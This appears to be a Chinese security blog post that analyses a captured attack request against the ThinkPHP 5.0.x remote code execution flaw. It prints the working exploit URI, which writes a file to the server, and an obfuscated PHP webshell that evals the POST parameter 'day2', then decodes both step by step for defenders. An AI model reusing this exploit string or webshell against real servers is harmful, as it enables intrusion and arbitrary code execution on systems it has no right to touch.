在情报社区看到一个公网捕获的攻击payload,简单的分析一下。
0x00 原始URI请求
/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=xxxxxxxxxxxxxx.php&vars[1][1]=<?php%20if($_SERVER[%27REQUEST_METHOD%27]%20==%20%27POST%27){%20$_uU=chr(99).chr(104).chr(114);%20$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(100).$_uU(97).$_uU(121).$_uU(50).$_uU(93).$_uU(41).$_uU(59);%20$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);%20$_=$_fF("",$_cC);%20@$_();%20}else{%20echo%20%27WhySoSerious%27;%20}%20?>
0x01 分析过程
1、首先根据路由判断为ThinkPHP 5.0.x 远程命令执行漏洞,对URI进行URL解码和代码美化,结果如下:
if
(
$_SERVER
[
'REQUEST_METHOD'
]
==
'POST'
)
{
$_uU
=
chr
(
99
)
.
chr
(
104
)
.
chr
(
114
)
;
$_cC
=
$_uU
(
101
)
.
$_uU
(
118
)
.
$_uU
(
97
)
.
$_uU
(
108
)
.
$_uU
(
40
)
.
$_uU
(
36
)
.
$_uU
(
95
)
.
$_uU
(
80
)
.
$_uU
(
79
)
.
$_uU
(
83
)
.
$_uU
(
84
)
.
$_uU
(
91
)
.
$_uU
(
100
)
.
$_uU
(
97
)
.
$_uU
(
121
)
.
$_uU
(
50
)
.
$_uU
(
93
)
.
$_uU
(
41
)
.
$_uU
(
59
)
;
$_fF
=
$_uU
(
99
)
.
$_uU
(
114
)
.
$_uU
(
101
)
.
$_uU
(
97
)
.
$_uU
(
116
)
.
$_uU
(
101
)
.
$_uU
(
95
)
.
$_uU
(
102
)
.
$_uU
(
117
)
.
$_uU
(
110
)
.
$_uU
(
99
)
.
$_uU
(
116
)
.
$_uU
(
105
)
.
$_uU
(
111
)
.
$_uU
(
110
)
;
$_
=
$_fF
(
""
,
$_cC
)
;
@
$_
(
)
;
}
else
{
echo
'WhySoSerious'
;
}
2、分析恶意代码部分
2.1 通过file_put_contents函数,创建php脚本文件
攻击者尝试利用ThinkPHP 5的漏洞在服务器上创建一个新的PHP文件(文件名为xxxxxxxxxxxxxx.php,这里的文件名可能因实际攻击而异)。
vars[
0
]=file
_put_
contents&vars[
1
][
]=xxxxxxxxxxxxxx.php
2.2 利用create_function执行自定义函数
文件中写入的PHP代码允许通过POST请求执行任意PHP代码。如果请求方法为POST,则执行$_中定义的函数(该函数通过字符串拼接和create_function动态创建)。
2.3 匿名函数的创建
使用$_uU=chr(99).chr(104).chr(114);用于获取ASCII值为99, 104, 114的字符,组合成chr),构造了字符串函数chr。
通过$_cC变量,使用$_uU(即chr)函数拼接字符串,最终构造出eval($_POST[day2]);这样的PHP代码。这意味着,如果POST请求中包含名为day2的参数,其内容将被eval函数执行。
$_fF变量用于定义create_function函数,$_变量通过调用$_fF,执行eval语句,通过@$_();执行。
拼接后如下:
@
create_function
("",
eval
($
_POST
[
day2
]);)();
2.4 匿名函数的作用
尝试创建一个不接受任何参数的匿名函数,这个函数的唯一作用是执行通过 POST 请求发送的 day2 变量的内容。
由于 create_function() 已被移除,这行代码在 PHP 8 或更高版本中不会执行。仅在 PHP 7.2 或更早版本中可以运行执行任意PHP代码。
0x02 分析结论
这段URL请求试图通过调用file_put_contents函数来在服务器上创建一个新的PHP文件(xxxxxxxxxxxxxx.php),并写入一段恶意代码。这段恶意代码的目的是创建一个Webshell,允许攻击者通过POST请求执行任意PHP代码。
原文始发于微信公众号(篝火信安):安全运营 | 记一次公网攻击Payload分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论